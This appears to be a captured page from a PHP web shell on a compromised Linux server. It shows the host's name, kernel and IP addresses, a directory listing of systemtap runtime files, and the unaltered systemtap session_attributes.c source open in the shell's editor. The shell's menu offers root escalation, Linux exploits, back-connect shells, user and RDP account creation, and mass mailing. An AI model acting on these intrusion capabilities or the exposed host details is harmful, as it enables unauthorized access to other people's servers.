Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
runtime /
dyninst /
[ HOME SHELL ]
Name
Size
Permission
Action
addr-map.c
525
B
-rw-r--r--
alloc.c
1.16
KB
-rw-r--r--
arith.c
2.24
KB
-rw-r--r--
common_session_state.h
6.76
KB
-rw-r--r--
copy.c
4
KB
-rw-r--r--
debug.h
413
B
-rw-r--r--
ilog2.h
2.87
KB
-rw-r--r--
io.c
4.43
KB
-rw-r--r--
linux_defs.h
5.58
KB
-rw-r--r--
linux_hash.h
1.83
KB
-rw-r--r--
linux_types.h
654
B
-rw-r--r--
loc2c-runtime.h
2.44
KB
-rw-r--r--
map_list.h
1.03
KB
-rw-r--r--
map_runtime.h
5.04
KB
-rw-r--r--
namespaces.h
0
B
-rw-r--r--
offptr.h
4.68
KB
-rw-r--r--
offset_list.h
4.32
KB
-rw-r--r--
perf.c
0
B
-rw-r--r--
print.c
2.37
KB
-rw-r--r--
probe_lock.h
1.81
KB
-rw-r--r--
regs.c
2.14
KB
-rw-r--r--
runtime.h
9.49
KB
-rw-r--r--
runtime_context.h
6.4
KB
-rw-r--r--
runtime_defines.h
235
B
-rw-r--r--
session_attributes.c
1.68
KB
-rw-r--r--
session_attributes.h
772
B
-rw-r--r--
shm.c
6.03
KB
-rw-r--r--
stapdyn.h
3.37
KB
-rw-r--r--
stat_runtime.h
1.79
KB
-rw-r--r--
sym.c
40
B
-rw-r--r--
task_finder.c
0
B
-rw-r--r--
timer.c
2.71
KB
-rw-r--r--
transport.c
30.4
KB
-rw-r--r--
transport.h
3.88
KB
-rw-r--r--
unwind.c
0
B
-rw-r--r--
uprobes-regs.c
1.94
KB
-rw-r--r--
uprobes.c
1.76
KB
-rw-r--r--
uprobes.h
953
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : session_attributes.c
// stapdyn session attribute code // Copyright (C) 2013 Red Hat Inc. // // This file is part of systemtap, and is free software. You can // redistribute it and/or modify it under the terms of the GNU General // Public License (GPL); either version 2, or (at your option) any // later version. #ifndef SESSION_ATTRIBUTES_C #define SESSION_ATTRIBUTES_C #include "session_attributes.h" static struct _stp_session_attributes _stp_init_session_attributes = { .log_level = 0, .suppress_warnings = 0, .stp_pid = 0, .target = 0, .tz_gmtoff = 0, .tz_name = "", .module_name = "", .outfile_name = "", }; static void stp_session_attributes_init(void) { *stp_session_attributes() = _stp_init_session_attributes; } static int stp_session_attribute_setter(const char *name, const char *value) { // Note that We start all internal variables with '@', since // that can't start a "real" variable. struct _stp_session_attributes *init = &_stp_init_session_attributes; #define set_num(field, type) \ if (strcmp(name, "@" #field) == 0) { \ char *endp = NULL; \ errno = 0; \ init->field = strto##type(value, &endp, 0); \ return (endp == value || *endp != '\0') ? \ -EINVAL : -errno; \ } #define set_string(field) \ if (strcmp(name, "@" #field) == 0) { \ size_t size = sizeof(init->field); \ size_t len = strlcpy(init->field, value, size); \ return (len < size) ? 0 : -EOVERFLOW; \ } set_num(log_level, ul); set_num(suppress_warnings, ul); set_num(stp_pid, ul); set_num(target, ul); set_num(tz_gmtoff, l); set_string(tz_name); set_string(module_name); set_string(outfile_name); #undef set_num #undef set_string return -ENOENT; } #endif // SESSION_ATTRIBUTES_C
Close